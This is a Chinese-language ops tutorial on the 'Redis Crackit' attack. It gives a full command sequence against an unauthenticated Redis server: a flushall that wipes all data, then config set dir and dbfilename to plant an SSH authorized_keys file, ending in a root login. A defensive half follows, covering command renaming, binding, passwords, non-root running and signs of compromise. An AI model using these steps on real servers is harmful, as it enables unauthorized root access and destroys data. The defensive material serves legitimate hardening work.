Redis Crackit漏洞利用和防护
注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要轻易入侵,这个是明确的违法的哦!!!
目前Redis Crackit都炒翻天了,作为运维工程师不能不知道啊。具体大家自己google吧,简单的说就是你的redis如果公网可以访问,而且没有设置验证,那么恐怖的事情发生了。可以通过redis直接获取system shell,注意哦,可不是web shell。你的redis运行在什么用户,就直接能登陆了。
环境准备
- 1.准备一个运行在root用户下的验证redis。
- 2.在你的本地生产一个ssh key。
# ssh-keygen -t rsa -C "redis-crackit@unixhot.com"
- 3.给你的公钥加点换行
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > zhimakaimen.txt
入侵开始
清空数据,必备哦。不要轻易操作,会清空redis所有数据哦。
[root@test-node1 ~]# redis-cli -h 192.168.199.221 flushall
OK
把公钥写入到一个key里面
[root@test-node1 ~]# cat zhimakaimen.txt | redis-cli -h 192.168.199.221 -x set zhimakaimen
连接到这个redis上
[root@test-node1 ~]# redis-cli -h 192.168.199.221
设置rdb文件存放的路径
redis 192.168.199.221:6379> config set dir /root/.ssh/
OK
设置rdb文件的文件名
redis 192.168.199.221:6379> config set dbfilename "authorized_keys"
OK
搞定保存
redis 192.168.199.221:6379> save
OK
退出
redis 192.168.199.221:6379> exit
尝试登陆吧
[root@test-node1 ~]# ssh root@192.168.199.221
Last login: Wed Nov 11 17:39:12 2015 from test-node1.unixhot.com
!!!!!!!!!!!!好吧,一台服务器就这一沦陷了!!!!!!!
去那台redis上看看吧。/root/.ssh目录下已经有了authorized_keys
[root@test-node2 ~]# cat /root/.ssh/authorized_keys
注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要只想flushall,这个是明确的违法的哦。
如何防护
1.禁用这些可以入侵的命令:
[root@test-node2 ~]# vim /etc/redis.conf
rename-command FLUSHALL ""
#rename-command CONFIG "" 注意,设置了,可就不能用了,如果需要使用可以设置一个其它名称。
2.将你的redis不要运行在0.0.0.0.或者设置验证。
[root@test-node2 ~]# vim /etc/redis.conf
requirepass redis-passwd
bind 192.168.199.11
3.尽量不要使用root运行。默认yum安装的redis,是运行在redis用户的。
如何发现被入侵
- 1.你的redis数据莫名其妙没有了。
- 2.检查你的rdb文件存放的路径
- 3.检查是否有非法的authorized_keys
数据库密码
除此之外,还可以通过配置文件中的requirepass参数为Redis设置一个密码。例如:
requirepass TAFK(@~!ji^XALQ(sYh5xIwTn5D s7JF
客户端每次连接到Redis时都需要发送密码,否则Redis会拒绝执行客户端发来的命令。例如:
redis> GET foo
(error) ERR operation not permitted
发送密码需要使用AUTH命令,就像这样:
redis> AUTH TAFK(@~!ji^XALQ(sYh5xIwTn5D s7JF
OK
之后就可以执行任何命令了:
redis> GET foo
" 1"
由于Redis的性能极高,并且输入错误密码后Redis并不会进行主动延迟(考虑到Redis的单线程模型),所以攻击者可以通过穷举法破解Redis的密码(1秒内能够尝试十几万个密码),因此在设置时一定要选择复杂的密码。
提示配置Redis复制的时候如果主数据库设置了密码,需要在从数据库的配置文件中通过masterauth参数设置主数据库的密码,以使从数据库连接主数据库时自动使用AUTH命令认证。
命名命令
Redis支持在配置文件中将命令重命名,比如将FLUSHALL命令重命名成一个比较复杂的名字,以保证只有自己的应用可以使用该命令。就像这样:
rename-command FLUSHALL oyfekmjvmwxq5a9c8usofuo369x0it2k
如果希望直接禁用某个命令可以将命令重命名成空字符串:
rename-command FLUSHALL ""
注意无论设置密码还是重命名命令,都需要保证配置文件的安全性,否则就没有任何意义了。